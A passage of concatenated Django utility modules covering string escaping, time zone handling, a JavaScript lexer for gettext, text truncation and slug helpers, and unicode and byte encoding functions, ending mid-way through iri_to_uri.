    warnings.warn('mark_for_escaping() is deprecated.', RemovedInDjango20Warning)
    if hasattr(s, '__html__') or isinstance(s, EscapeData):
        return s
    if isinstance(s, bytes) or (isinstance(s, Promise) and s._delegate_bytes):
        return EscapeBytes(s)
    if isinstance(s, (six.text_type, Promise)):
        return EscapeText(s)
    return EscapeString(str(s))






"""
Timezone-related classes and functions.

This module uses pytz when it's available and fallbacks when it isn't.
"""

import sys
import time as _time
from datetime import datetime, timedelta, tzinfo
from threading import local

from django.conf import settings
from django.utils import lru_cache, six
from django.utils.decorators import ContextDecorator

try:
    import pytz
except ImportError:
    pytz = None


__all__ = [
    'utc', 'get_fixed_timezone',
    'get_default_timezone', 'get_default_timezone_name',
    'get_current_timezone', 'get_current_timezone_name',
    'activate', 'deactivate', 'override',
    'localtime', 'now',
    'is_aware', 'is_naive', 'make_aware', 'make_naive',
]


# UTC and local time zones

ZERO = timedelta(0)


class UTC(tzinfo):
    """
    UTC implementation taken from Python's docs.

    Used only when pytz isn't available.
    """

    def __repr__(self):
        return "<UTC>"

    def utcoffset(self, dt):
        return ZERO

    def tzname(self, dt):
        return "UTC"

    def dst(self, dt):
        return ZERO


class FixedOffset(tzinfo):
    """
    Fixed offset in minutes east from UTC. Taken from Python's docs.

    Kept as close as possible to the reference version. __init__ was changed
    to make its arguments optional, according to Python's requirement that
    tzinfo subclasses can be instantiated without arguments.
    """

    def __init__(self, offset=None, name=None):
        if offset is not None:
            self.__offset = timedelta(minutes=offset)
        if name is not None:
            self.__name = name

    def utcoffset(self, dt):
        return self.__offset

    def tzname(self, dt):
        return self.__name

    def dst(self, dt):
        return ZERO


class ReferenceLocalTimezone(tzinfo):
    """
    Local time. Taken from Python's docs.

    Used only when pytz isn't available, and most likely inaccurate. If you're
    having trouble with this class, don't waste your time, just install pytz.

    Kept as close as possible to the reference version. __init__ was added to
    delay the computation of STDOFFSET, DSTOFFSET and DSTDIFF which is
    performed at import time in the example.

    Subclasses contain further improvements.
    """

    def __init__(self):
        self.STDOFFSET = timedelta(seconds=-_time.timezone)
        if _time.daylight:
            self.DSTOFFSET = timedelta(seconds=-_time.altzone)
        else:
            self.DSTOFFSET = self.STDOFFSET
        self.DSTDIFF = self.DSTOFFSET - self.STDOFFSET
        tzinfo.__init__(self)

    def utcoffset(self, dt):
        if self._isdst(dt):
            return self.DSTOFFSET
        else:
            return self.STDOFFSET

    def dst(self, dt):
        if self._isdst(dt):
            return self.DSTDIFF
        else:
            return ZERO

    def tzname(self, dt):
        return _time.tzname[self._isdst(dt)]

    def _isdst(self, dt):
        tt = (dt.year, dt.month, dt.day,
              dt.hour, dt.minute, dt.second,
              dt.weekday(), 0, 0)
        stamp = _time.mktime(tt)
        tt = _time.localtime(stamp)
        return tt.tm_isdst > 0


class LocalTimezone(ReferenceLocalTimezone):
    """
    Slightly improved local time implementation focusing on correctness.

    It still crashes on dates before 1970 or after 2038, but at least the
    error message is helpful.
    """

    def tzname(self, dt):
        is_dst = False if dt is None else self._isdst(dt)
        return _time.tzname[is_dst]

    def _isdst(self, dt):
        try:
            return super(LocalTimezone, self)._isdst(dt)
        except (OverflowError, ValueError) as exc:
            exc_type = type(exc)
            exc_value = exc_type(
                "Unsupported value: %r. You should install pytz." % dt)
            exc_value.__cause__ = exc
            if not hasattr(exc, '__traceback__'):
                exc.__traceback__ = sys.exc_info()[2]
            six.reraise(exc_type, exc_value, sys.exc_info()[2])

utc = pytz.utc if pytz else UTC()
"""UTC time zone as a tzinfo instance."""


def get_fixed_timezone(offset):
    """
    Returns a tzinfo instance with a fixed offset from UTC.
    """
    if isinstance(offset, timedelta):
        offset = offset.seconds // 60
    sign = '-' if offset < 0 else '+'
    hhmm = '%02d%02d' % divmod(abs(offset), 60)
    name = sign + hhmm
    return FixedOffset(offset, name)


# In order to avoid accessing settings at compile time,
# wrap the logic in a function and cache the result.
@lru_cache.lru_cache()
def get_default_timezone():
    """
    Returns the default time zone as a tzinfo instance.

    This is the time zone defined by settings.TIME_ZONE.
    """
    if isinstance(settings.TIME_ZONE, six.string_types) and pytz is not None:
        return pytz.timezone(settings.TIME_ZONE)
    else:
        # This relies on os.environ['TZ'] being set to settings.TIME_ZONE.
        return LocalTimezone()


# This function exists for consistency with get_current_timezone_name
def get_default_timezone_name():
    """
    Returns the name of the default time zone.
    """
    return _get_timezone_name(get_default_timezone())

_active = local()


def get_current_timezone():
    """
    Returns the currently active time zone as a tzinfo instance.
    """
    return getattr(_active, "value", get_default_timezone())


def get_current_timezone_name():
    """
    Returns the name of the currently active time zone.
    """
    return _get_timezone_name(get_current_timezone())


def _get_timezone_name(timezone):
    """
    Returns the name of ``timezone``.
    """
    try:
        # for pytz timezones
        return timezone.zone
    except AttributeError:
        # for regular tzinfo objects
        return timezone.tzname(None)

# Timezone selection functions.

# These functions don't change os.environ['TZ'] and call time.tzset()
# because it isn't thread safe.


def activate(timezone):
    """
    Sets the time zone for the current thread.

    The ``timezone`` argument must be an instance of a tzinfo subclass or a
    time zone name. If it is a time zone name, pytz is required.
    """
    if isinstance(timezone, tzinfo):
        _active.value = timezone
    elif isinstance(timezone, six.string_types) and pytz is not None:
        _active.value = pytz.timezone(timezone)
    else:
        raise ValueError("Invalid timezone: %r" % timezone)


def deactivate():
    """
    Unsets the time zone for the current thread.

    Django will then use the time zone defined by settings.TIME_ZONE.
    """
    if hasattr(_active, "value"):
        del _active.value


class override(ContextDecorator):
    """
    Temporarily set the time zone for the current thread.

    This is a context manager that uses ``~django.utils.timezone.activate()``
    to set the timezone on entry, and restores the previously active timezone
    on exit.

    The ``timezone`` argument must be an instance of a ``tzinfo`` subclass, a
    time zone name, or ``None``. If is it a time zone name, pytz is required.
    If it is ``None``, Django enables the default time zone.
    """
    def __init__(self, timezone):
        self.timezone = timezone

    def __enter__(self):
        self.old_timezone = getattr(_active, 'value', None)
        if self.timezone is None:
            deactivate()
        else:
            activate(self.timezone)

    def __exit__(self, exc_type, exc_value, traceback):
        if self.old_timezone is None:
            deactivate()
        else:
            _active.value = self.old_timezone


# Templates

def template_localtime(value, use_tz=None):
    """
    Checks if value is a datetime and converts it to local time if necessary.

    If use_tz is provided and is not None, that will force the value to
    be converted (or not), overriding the value of settings.USE_TZ.

    This function is designed for use by the template engine.
    """
    should_convert = (
        isinstance(value, datetime) and
        (settings.USE_TZ if use_tz is None else use_tz) and
        not is_naive(value) and
        getattr(value, 'convert_to_local_time', True)
    )
    return localtime(value) if should_convert else value


# Utilities

def localtime(value, timezone=None):
    """
    Converts an aware datetime.datetime to local time.

    Local time is defined by the current time zone, unless another time zone
    is specified.
    """
    if timezone is None:
        timezone = get_current_timezone()
    # If `value` is naive, astimezone() will raise a ValueError,
    # so we don't need to perform a redundant check.
    value = value.astimezone(timezone)
    if hasattr(timezone, 'normalize'):
        # This method is available for pytz time zones.
        value = timezone.normalize(value)
    return value


def now():
    """
    Returns an aware or naive datetime.datetime, depending on settings.USE_TZ.
    """
    if settings.USE_TZ:
        # timeit shows that datetime.now(tz=utc) is 24% slower
        return datetime.utcnow().replace(tzinfo=utc)
    else:
        return datetime.now()


# By design, these four functions don't perform any checks on their arguments.
# The caller should ensure that they don't receive an invalid value like None.

def is_aware(value):
    """
    Determines if a given datetime.datetime is aware.

    The concept is defined in Python's docs:
    http://docs.python.org/library/datetime.html#datetime.tzinfo

    Assuming value.tzinfo is either None or a proper datetime.tzinfo,
    value.utcoffset() implements the appropriate logic.
    """
    return value.utcoffset() is not None


def is_naive(value):
    """
    Determines if a given datetime.datetime is naive.

    The concept is defined in Python's docs:
    http://docs.python.org/library/datetime.html#datetime.tzinfo

    Assuming value.tzinfo is either None or a proper datetime.tzinfo,
    value.utcoffset() implements the appropriate logic.
    """
    return value.utcoffset() is None


def make_aware(value, timezone=None, is_dst=None):
    """
    Makes a naive datetime.datetime in a given time zone aware.
    """
    if timezone is None:
        timezone = get_current_timezone()
    if hasattr(timezone, 'localize'):
        # This method is available for pytz time zones.
        return timezone.localize(value, is_dst=is_dst)
    else:
        # Check that we won't overwrite the timezone of an aware datetime.
        if is_aware(value):
            raise ValueError(
                "make_aware expects a naive datetime, got %s" % value)
        # This may be wrong around DST changes!
        return value.replace(tzinfo=timezone)


def make_naive(value, timezone=None):
    """
    Makes an aware datetime.datetime naive in a given time zone.
    """
    if timezone is None:
        timezone = get_current_timezone()
    # If `value` is naive, astimezone() will raise a ValueError,
    # so we don't need to perform a redundant check.
    value = value.astimezone(timezone)
    if hasattr(timezone, 'normalize'):
        # This method is available for pytz time zones.
        value = timezone.normalize(value)
    return value.replace(tzinfo=None)






"""JsLex: a lexer for Javascript"""
# Originally from https://bitbucket.org/ned/jslex
from __future__ import unicode_literals

import re


class Tok(object):
    """
    A specification for a token class.
    """
    num = 0

    def __init__(self, name, regex, next=None):
        self.id = Tok.num
        Tok.num += 1
        self.name = name
        self.regex = regex
        self.next = next


def literals(choices, prefix="", suffix=""):
    """
    Create a regex from a space-separated list of literal `choices`.

    If provided, `prefix` and `suffix` will be attached to each choice
    individually.
    """
    return "|".join(prefix + re.escape(c) + suffix for c in choices.split())


class Lexer(object):
    """
    A generic multi-state regex-based lexer.
    """

    def __init__(self, states, first):
        self.regexes = {}
        self.toks = {}

        for state, rules in states.items():
            parts = []
            for tok in rules:
                groupid = "t%d" % tok.id
                self.toks[groupid] = tok
                parts.append("(?P<%s>%s)" % (groupid, tok.regex))
            self.regexes[state] = re.compile("|".join(parts), re.MULTILINE | re.VERBOSE)

        self.state = first

    def lex(self, text):
        """
        Lexically analyze `text`.

        Yields pairs (`name`, `tokentext`).
        """
        end = len(text)
        state = self.state
        regexes = self.regexes
        toks = self.toks
        start = 0

        while start < end:
            for match in regexes[state].finditer(text, start):
                name = match.lastgroup
                tok = toks[name]
                toktext = match.group(name)
                start += len(toktext)
                yield (tok.name, toktext)

                if tok.next:
                    state = tok.next
                    break

        self.state = state


class JsLexer(Lexer):
    """
    A Javascript lexer

    >>> lexer = JsLexer()
    >>> list(lexer.lex("a = 1"))
    [('id', 'a'), ('ws', ' '), ('punct', '='), ('ws', ' '), ('dnum', '1')]

    This doesn't properly handle non-ASCII characters in the Javascript source.
    """

    # Because these tokens are matched as alternatives in a regex, longer
    # possibilities must appear in the list before shorter ones, for example,
    # '>>' before '>'.
    #
    # Note that we don't have to detect malformed Javascript, only properly
    # lex correct Javascript, so much of this is simplified.

    # Details of Javascript lexical structure are taken from
    # http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf

    # A useful explanation of automatic semicolon insertion is at
    # http://inimino.org/~inimino/blog/javascript_semicolons

    both_before = [
        Tok("comment", r"/\*(.|\n)*?\*/"),
        Tok("linecomment", r"//.*?$"),
        Tok("ws", r"\s+"),
        Tok("keyword", literals("""
                           break case catch class const continue debugger
                           default delete do else enum export extends
                           finally for function if import in instanceof
                           new return super switch this throw try typeof
                           var void while with
                           """, suffix=r"\b"), next='reg'),
        Tok("reserved", literals("null true false", suffix=r"\b"), next='div'),
        Tok("id", r"""
                  ([a-zA-Z_$   ]|\\u[0-9a-fA-Z]{4})   # first char
                  ([a-zA-Z_$0-9]|\\u[0-9a-fA-F]{4})*  # rest chars
                  """, next='div'),
        Tok("hnum", r"0[xX][0-9a-fA-F]+", next='div'),
        Tok("onum", r"0[0-7]+"),
        Tok("dnum", r"""
                    (   (0|[1-9][0-9]*)     # DecimalIntegerLiteral
                        \.                  # dot
                        [0-9]*              # DecimalDigits-opt
                        ([eE][-+]?[0-9]+)?  # ExponentPart-opt
                    |
                        \.                  # dot
                        [0-9]+              # DecimalDigits
                        ([eE][-+]?[0-9]+)?  # ExponentPart-opt
                    |
                        (0|[1-9][0-9]*)     # DecimalIntegerLiteral
                        ([eE][-+]?[0-9]+)?  # ExponentPart-opt
                    )
                    """, next='div'),
        Tok("punct", literals("""
                         >>>= === !== >>> <<= >>= <= >= == != << >> &&
                         || += -= *= %= &= |= ^=
                         """), next="reg"),
        Tok("punct", literals("++ -- ) ]"), next='div'),
        Tok("punct", literals("{ } ( [ . ; , < > + - * % & | ^ ! ~ ? : ="), next='reg'),
        Tok("string", r'"([^"\\]|(\\(.|\n)))*?"', next='div'),
        Tok("string", r"'([^'\\]|(\\(.|\n)))*?'", next='div'),
    ]

    both_after = [
        Tok("other", r"."),
    ]

    states = {
        # slash will mean division
        'div': both_before + [
            Tok("punct", literals("/= /"), next='reg'),
        ] + both_after,

        # slash will mean regex
        'reg': both_before + [
            Tok("regex",
                r"""
                    /                       # opening slash
                    # First character is..
                    (   [^*\\/[]            # anything but * \ / or [
                    |   \\.                 # or an escape sequence
                    |   \[                  # or a class, which has
                            (   [^\]\\]     #   anything but \ or ]
                            |   \\.         #   or an escape sequence
                            )*              #   many times
                        \]
                    )
                    # Following characters are same, except for excluding a star
                    (   [^\\/[]             # anything but \ / or [
                    |   \\.                 # or an escape sequence
                    |   \[                  # or a class, which has
                            (   [^\]\\]     #   anything but \ or ]
                            |   \\.         #   or an escape sequence
                            )*              #   many times
                        \]
                    )*                      # many times
                    /                       # closing slash
                    [a-zA-Z0-9]*            # trailing flags
                """, next='div'),
        ] + both_after,
    }

    def __init__(self):
        super(JsLexer, self).__init__(self.states, 'reg')


def prepare_js_for_gettext(js):
    """
    Convert the Javascript source `js` into something resembling C for
    xgettext.

    What actually happens is that all the regex literals are replaced with
    "REGEX".
    """
    def escape_quotes(m):
        """Used in a regex to properly escape double quotes."""
        s = m.group(0)
        if s == '"':
            return r'\"'
        else:
            return s

    lexer = JsLexer()
    c = []
    for name, tok in lexer.lex(js):
        if name == 'regex':
            # C doesn't grok regexes, and they aren't needed for gettext,
            # so just output a string instead.
            tok = '"REGEX"'
        elif name == 'string':
            # C doesn't have single-quoted strings, so make all strings
            # double-quoted.
            if tok.startswith("'"):
                guts = re.sub(r"\\.|.", escape_quotes, tok[1:-1])
                tok = '"' + guts + '"'
        elif name == 'id':
            # C can't deal with Unicode escapes in identifiers.  We don't
            # need them for gettext anyway, so replace them with something
            # innocuous
            tok = tok.replace("\\", "U")
        c.append(tok)
    return ''.join(c)






from __future__ import unicode_literals

import re
import unicodedata
from gzip import GzipFile
from io import BytesIO

from django.utils import six
from django.utils.encoding import force_text
from django.utils.functional import SimpleLazyObject, keep_lazy, keep_lazy_text
from django.utils.safestring import SafeText, mark_safe
from django.utils.six.moves import html_entities
from django.utils.translation import pgettext, ugettext as _, ugettext_lazy

if six.PY2:
    # Import force_unicode even though this module doesn't use it, because some
    # people rely on it being here.
    from django.utils.encoding import force_unicode  # NOQA


# Capitalizes the first letter of a string.
def capfirst(x):
    return x and force_text(x)[0].upper() + force_text(x)[1:]
capfirst = keep_lazy_text(capfirst)

# Set up regular expressions
re_words = re.compile(r'<.*?>|((?:\w[-\w]*|&.*?;)+)', re.U | re.S)
re_chars = re.compile(r'<.*?>|(.)', re.U | re.S)
re_tag = re.compile(r'<(/)?([^ ]+?)(?:(\s*/)| .*?)?>', re.S)
re_newlines = re.compile(r'\r\n|\r')  # Used in normalize_newlines
re_camel_case = re.compile(r'(((?<=[a-z])[A-Z])|([A-Z](?![A-Z]|$)))')


@keep_lazy_text
def wrap(text, width):
    """
    A word-wrap function that preserves existing line breaks. Expects that
    existing line breaks are posix newlines.

    All white space is preserved except added line breaks consume the space on
    which they break the line.

    Long words are not wrapped, so the output text may have lines longer than
    ``width``.
    """
    text = force_text(text)

    def _generator():
        for line in text.splitlines(True):  # True keeps trailing linebreaks
            max_width = min((line.endswith('\n') and width + 1 or width), width)
            while len(line) > max_width:
                space = line[:max_width + 1].rfind(' ') + 1
                if space == 0:
                    space = line.find(' ') + 1
                    if space == 0:
                        yield line
                        line = ''
                        break
                yield '%s\n' % line[:space - 1]
                line = line[space:]
                max_width = min((line.endswith('\n') and width + 1 or width), width)
            if line:
                yield line
    return ''.join(_generator())


class Truncator(SimpleLazyObject):
    """
    An object used to truncate text, either by characters or words.
    """
    def __init__(self, text):
        super(Truncator, self).__init__(lambda: force_text(text))

    def add_truncation_text(self, text, truncate=None):
        if truncate is None:
            truncate = pgettext(
                'String to return when truncating text',
                '%(truncated_text)s...')
        truncate = force_text(truncate)
        if '%(truncated_text)s' in truncate:
            return truncate % {'truncated_text': text}
        # The truncation text didn't contain the %(truncated_text)s string
        # replacement argument so just append it to the text.
        if text.endswith(truncate):
            # But don't append the truncation text if the current text already
            # ends in this.
            return text
        return '%s%s' % (text, truncate)

    def chars(self, num, truncate=None, html=False):
        """
        Returns the text truncated to be no longer than the specified number
        of characters.

        Takes an optional argument of what should be used to notify that the
        string has been truncated, defaulting to a translatable string of an
        ellipsis (...).
        """
        self._setup()
        length = int(num)
        text = unicodedata.normalize('NFC', self._wrapped)

        # Calculate the length to truncate to (max length - end_text length)
        truncate_len = length
        for char in self.add_truncation_text('', truncate):
            if not unicodedata.combining(char):
                truncate_len -= 1
                if truncate_len == 0:
                    break
        if html:
            return self._truncate_html(length, truncate, text, truncate_len, False)
        return self._text_chars(length, truncate, text, truncate_len)

    def _text_chars(self, length, truncate, text, truncate_len):
        """
        Truncates a string after a certain number of chars.
        """
        s_len = 0
        end_index = None
        for i, char in enumerate(text):
            if unicodedata.combining(char):
                # Don't consider combining characters
                # as adding to the string length
                continue
            s_len += 1
            if end_index is None and s_len > truncate_len:
                end_index = i
            if s_len > length:
                # Return the truncated string
                return self.add_truncation_text(text[:end_index or 0],
                                                truncate)

        # Return the original string since no truncation was necessary
        return text

    def words(self, num, truncate=None, html=False):
        """
        Truncates a string after a certain number of words. Takes an optional
        argument of what should be used to notify that the string has been
        truncated, defaulting to ellipsis (...).
        """
        self._setup()
        length = int(num)
        if html:
            return self._truncate_html(length, truncate, self._wrapped, length, True)
        return self._text_words(length, truncate)

    def _text_words(self, length, truncate):
        """
        Truncates a string after a certain number of words.

        Newlines in the string will be stripped.
        """
        words = self._wrapped.split()
        if len(words) > length:
            words = words[:length]
            return self.add_truncation_text(' '.join(words), truncate)
        return ' '.join(words)

    def _truncate_html(self, length, truncate, text, truncate_len, words):
        """
        Truncates HTML to a certain number of chars (not counting tags and
        comments), or, if words is True, then to a certain number of words.
        Closes opened tags if they were correctly closed in the given HTML.

        Newlines in the HTML are preserved.
        """
        if words and length <= 0:
            return ''

        html4_singlets = (
            'br', 'col', 'link', 'base', 'img',
            'param', 'area', 'hr', 'input'
        )

        # Count non-HTML chars/words and keep note of open tags
        pos = 0
        end_text_pos = 0
        current_len = 0
        open_tags = []

        regex = re_words if words else re_chars

        while current_len <= length:
            m = regex.search(text, pos)
            if not m:
                # Checked through whole string
                break
            pos = m.end(0)
            if m.group(1):
                # It's an actual non-HTML word or char
                current_len += 1
                if current_len == truncate_len:
                    end_text_pos = pos
                continue
            # Check for tag
            tag = re_tag.match(m.group(0))
            if not tag or current_len >= truncate_len:
                # Don't worry about non tags or tags after our truncate point
                continue
            closing_tag, tagname, self_closing = tag.groups()
            # Element names are always case-insensitive
            tagname = tagname.lower()
            if self_closing or tagname in html4_singlets:
                pass
            elif closing_tag:
                # Check for match in open tags list
                try:
                    i = open_tags.index(tagname)
                except ValueError:
                    pass
                else:
                    # SGML: An end tag closes, back to the matching start tag,
                    # all unclosed intervening start tags with omitted end tags
                    open_tags = open_tags[i + 1:]
            else:
                # Add it to the start of the open tags list
                open_tags.insert(0, tagname)

        if current_len <= length:
            return text
        out = text[:end_text_pos]
        truncate_text = self.add_truncation_text('', truncate)
        if truncate_text:
            out += truncate_text
        # Close any tags still open
        for tag in open_tags:
            out += '</%s>' % tag
        # Return string
        return out


@keep_lazy_text
def get_valid_filename(s):
    """
    Returns the given string converted to a string that can be used for a clean
    filename. Specifically, leading and trailing spaces are removed; other
    spaces are converted to underscores; and anything that is not a unicode
    alphanumeric, dash, underscore, or dot, is removed.
    >>> get_valid_filename("john's portrait in 2004.jpg")
    'johns_portrait_in_2004.jpg'
    """
    s = force_text(s).strip().replace(' ', '_')
    return re.sub(r'(?u)[^-\w.]', '', s)


@keep_lazy_text
def get_text_list(list_, last_word=ugettext_lazy('or')):
    """
    >>> get_text_list(['a', 'b', 'c', 'd'])
    'a, b, c or d'
    >>> get_text_list(['a', 'b', 'c'], 'and')
    'a, b and c'
    >>> get_text_list(['a', 'b'], 'and')
    'a and b'
    >>> get_text_list(['a'])
    'a'
    >>> get_text_list([])
    ''
    """
    if len(list_) == 0:
        return ''
    if len(list_) == 1:
        return force_text(list_[0])
    return '%s %s %s' % (
        # Translators: This string is used as a separator between list elements
        _(', ').join(force_text(i) for i in list_[:-1]),
        force_text(last_word), force_text(list_[-1]))


@keep_lazy_text
def normalize_newlines(text):
    """Normalizes CRLF and CR newlines to just LF."""
    text = force_text(text)
    return re_newlines.sub('\n', text)


@keep_lazy_text
def phone2numeric(phone):
    """Converts a phone number with letters into its numeric equivalent."""
    char2number = {
        'a': '2', 'b': '2', 'c': '2', 'd': '3', 'e': '3', 'f': '3', 'g': '4',
        'h': '4', 'i': '4', 'j': '5', 'k': '5', 'l': '5', 'm': '6', 'n': '6',
        'o': '6', 'p': '7', 'q': '7', 'r': '7', 's': '7', 't': '8', 'u': '8',
        'v': '8', 'w': '9', 'x': '9', 'y': '9', 'z': '9',
    }
    return ''.join(char2number.get(c, c) for c in phone.lower())


# From http://www.xhaus.com/alan/python/httpcomp.html#gzip
# Used with permission.
def compress_string(s):
    zbuf = BytesIO()
    with GzipFile(mode='wb', compresslevel=6, fileobj=zbuf) as zfile:
        zfile.write(s)
    return zbuf.getvalue()


class StreamingBuffer(object):
    def __init__(self):
        self.vals = []

    def write(self, val):
        self.vals.append(val)

    def read(self):
        if not self.vals:
            return b''
        ret = b''.join(self.vals)
        self.vals = []
        return ret

    def flush(self):
        return

    def close(self):
        return


# Like compress_string, but for iterators of strings.
def compress_sequence(sequence):
    buf = StreamingBuffer()
    with GzipFile(mode='wb', compresslevel=6, fileobj=buf) as zfile:
        # Output headers...
        yield buf.read()
        for item in sequence:
            zfile.write(item)
            data = buf.read()
            if data:
                yield data
    yield buf.read()


# Expression to match some_token and some_token="with spaces" (and similarly
# for single-quoted strings).
smart_split_re = re.compile(r"""
    ((?:
        [^\s'"]*
        (?:
            (?:"(?:[^"\\]|\\.)*" | '(?:[^'\\]|\\.)*')
            [^\s'"]*
        )+
    ) | \S+)
""", re.VERBOSE)


def smart_split(text):
    r"""
    Generator that splits a string by spaces, leaving quoted phrases together.
    Supports both single and double quotes, and supports escaping quotes with
    backslashes. In the output, strings will keep their initial and trailing
    quote marks and escaped quotes will remain escaped (the results can then
    be further processed with unescape_string_literal()).

    >>> list(smart_split(r'This is "a person\'s" test.'))
    ['This', 'is', '"a person\\\'s"', 'test.']
    >>> list(smart_split(r"Another 'person\'s' test."))
    ['Another', "'person\\'s'", 'test.']
    >>> list(smart_split(r'A "\"funky\" style" test.'))
    ['A', '"\\"funky\\" style"', 'test.']
    """
    text = force_text(text)
    for bit in smart_split_re.finditer(text):
        yield bit.group(0)


def _replace_entity(match):
    text = match.group(1)
    if text[0] == '#':
        text = text[1:]
        try:
            if text[0] in 'xX':
                c = int(text[1:], 16)
            else:
                c = int(text)
            return six.unichr(c)
        except ValueError:
            return match.group(0)
    else:
        try:
            return six.unichr(html_entities.name2codepoint[text])
        except (ValueError, KeyError):
            return match.group(0)

_entity_re = re.compile(r"&(#?[xX]?(?:[0-9a-fA-F]+|\w{1,8}));")


@keep_lazy_text
def unescape_entities(text):
    return _entity_re.sub(_replace_entity, force_text(text))


@keep_lazy_text
def unescape_string_literal(s):
    r"""
    Convert quoted string literals to unquoted strings with escaped quotes and
    backslashes unquoted::

        >>> unescape_string_literal('"abc"')
        'abc'
        >>> unescape_string_literal("'abc'")
        'abc'
        >>> unescape_string_literal('"a \"bc\""')
        'a "bc"'
        >>> unescape_string_literal("'\'ab\' c'")
        "'ab' c"
    """
    if s[0] not in "\"'" or s[-1] != s[0]:
        raise ValueError("Not a string literal: %r" % s)
    quote = s[0]
    return s[1:-1].replace(r'\%s' % quote, quote).replace(r'\\', '\\')


@keep_lazy(six.text_type, SafeText)
def slugify(value, allow_unicode=False):
    """
    Convert to ASCII if 'allow_unicode' is False. Convert spaces to hyphens.
    Remove characters that aren't alphanumerics, underscores, or hyphens.
    Convert to lowercase. Also strip leading and trailing whitespace.
    """
    value = force_text(value)
    if allow_unicode:
        value = unicodedata.normalize('NFKC', value)
        value = re.sub('[^\w\s-]', '', value, flags=re.U).strip().lower()
        return mark_safe(re.sub('[-\s]+', '-', value, flags=re.U))
    value = unicodedata.normalize('NFKD', value).encode('ascii', 'ignore').decode('ascii')
    value = re.sub('[^\w\s-]', '', value).strip().lower()
    return mark_safe(re.sub('[-\s]+', '-', value))


def camel_case_to_spaces(value):
    """
    Splits CamelCase and converts to lower case. Also strips leading and
    trailing whitespace.
    """
    return re_camel_case.sub(r' \1', value).strip().lower()






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import codecs
import datetime
import locale
from decimal import Decimal

from django.utils import six
from django.utils.functional import Promise
from django.utils.six.moves.urllib.parse import quote, unquote

if six.PY3:
    from urllib.parse import unquote_to_bytes


class DjangoUnicodeDecodeError(UnicodeDecodeError):
    def __init__(self, obj, *args):
        self.obj = obj
        UnicodeDecodeError.__init__(self, *args)

    def __str__(self):
        original = UnicodeDecodeError.__str__(self)
        return '%s. You passed in %r (%s)' % (original, self.obj, type(self.obj))


# For backwards compatibility. (originally in Django, then added to six 1.9)
python_2_unicode_compatible = six.python_2_unicode_compatible


def smart_text(s, encoding='utf-8', strings_only=False, errors='strict'):
    """
    Returns a text object representing 's' -- unicode on Python 2 and str on
    Python 3. Treats bytestrings using the 'encoding' codec.

    If strings_only is True, don't convert (some) non-string-like objects.
    """
    if isinstance(s, Promise):
        # The input is the result of a gettext_lazy() call.
        return s
    return force_text(s, encoding, strings_only, errors)


_PROTECTED_TYPES = six.integer_types + (
    type(None), float, Decimal, datetime.datetime, datetime.date, datetime.time
)


def is_protected_type(obj):
    """Determine if the object instance is of a protected type.

    Objects of protected types are preserved as-is when passed to
    force_text(strings_only=True).
    """
    return isinstance(obj, _PROTECTED_TYPES)


def force_text(s, encoding='utf-8', strings_only=False, errors='strict'):
    """
    Similar to smart_text, except that lazy instances are resolved to
    strings, rather than kept as lazy objects.

    If strings_only is True, don't convert (some) non-string-like objects.
    """
    # Handle the common case first for performance reasons.
    if issubclass(type(s), six.text_type):
        return s
    if strings_only and is_protected_type(s):
        return s
    try:
        if not issubclass(type(s), six.string_types):
            if six.PY3:
                if isinstance(s, bytes):
                    s = six.text_type(s, encoding, errors)
                else:
                    s = six.text_type(s)
            elif hasattr(s, '__unicode__'):
                s = six.text_type(s)
            else:
                s = six.text_type(bytes(s), encoding, errors)
        else:
            # Note: We use .decode() here, instead of six.text_type(s, encoding,
            # errors), so that if s is a SafeBytes, it ends up being a
            # SafeText at the end.
            s = s.decode(encoding, errors)
    except UnicodeDecodeError as e:
        if not isinstance(s, Exception):
            raise DjangoUnicodeDecodeError(s, *e.args)
        else:
            # If we get to here, the caller has passed in an Exception
            # subclass populated with non-ASCII bytestring data without a
            # working unicode method. Try to handle this without raising a
            # further exception by individually forcing the exception args
            # to unicode.
            s = ' '.join(force_text(arg, encoding, strings_only, errors)
                         for arg in s)
    return s


def smart_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
    """
    Returns a bytestring version of 's', encoded as specified in 'encoding'.

    If strings_only is True, don't convert (some) non-string-like objects.
    """
    if isinstance(s, Promise):
        # The input is the result of a gettext_lazy() call.
        return s
    return force_bytes(s, encoding, strings_only, errors)


def force_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
    """
    Similar to smart_bytes, except that lazy instances are resolved to
    strings, rather than kept as lazy objects.

    If strings_only is True, don't convert (some) non-string-like objects.
    """
    # Handle the common case first for performance reasons.
    if isinstance(s, bytes):
        if encoding == 'utf-8':
            return s
        else:
            return s.decode('utf-8', errors).encode(encoding, errors)
    if strings_only and is_protected_type(s):
        return s
    if isinstance(s, six.memoryview):
        return bytes(s)
    if isinstance(s, Promise):
        return six.text_type(s).encode(encoding, errors)
    if not isinstance(s, six.string_types):
        try:
            if six.PY3:
                return six.text_type(s).encode(encoding)
            else:
                return bytes(s)
        except UnicodeEncodeError:
            if isinstance(s, Exception):
                # An Exception subclass containing non-ASCII data that doesn't
                # know how to print itself properly. We shouldn't raise a
                # further exception.
                return b' '.join(force_bytes(arg, encoding, strings_only, errors)
                                 for arg in s)
            return six.text_type(s).encode(encoding, errors)
    else:
        return s.encode(encoding, errors)

if six.PY3:
    smart_str = smart_text
    force_str = force_text
else:
    smart_str = smart_bytes
    force_str = force_bytes
    # backwards compatibility for Python 2
    smart_unicode = smart_text
    force_unicode = force_text

smart_str.__doc__ = """
Apply smart_text in Python 3 and smart_bytes in Python 2.

This is suitable for writing to sys.stdout (for instance).
"""

force_str.__doc__ = """
Apply force_text in Python 3 and force_bytes in Python 2.
"""


def iri_to_uri(iri):
    """
    Convert an Internationalized Resource Identifier (IRI) portion to a URI
    portion that is suitable for inclusion in a URL.

    This is the algorithm from section 3.1 of RFC 3987.  However, since we are
    assuming input is either UTF-8 or unicode already, we can simplify things a
    little from the full method.

    Takes an IRI in UTF-8 bytes (e.g. '/I \xe2\x99\xa5 Django/') or unicode
    (e.g. '/I ♥ Django/') and returns ASCII bytes containing the encoded result
    (e.g. '/I%20%E2%99%A5%20Django/').
    """
    # The list of safe characters here is constructed from the "reserved" and
    # "unreserved" characters specified in sections 2.2 and 2.3 of RFC 3986:
    #     reserved    = gen-delims / sub-delims
    #     gen-delims  = ":" / "/" / "?" / "#" / "[" / "]" / "@"
    #     sub-delims  = "!" / "$" / "&" / "'" / "(" / ")"
    #                   / "*" / "+" / "," / ";" / "="
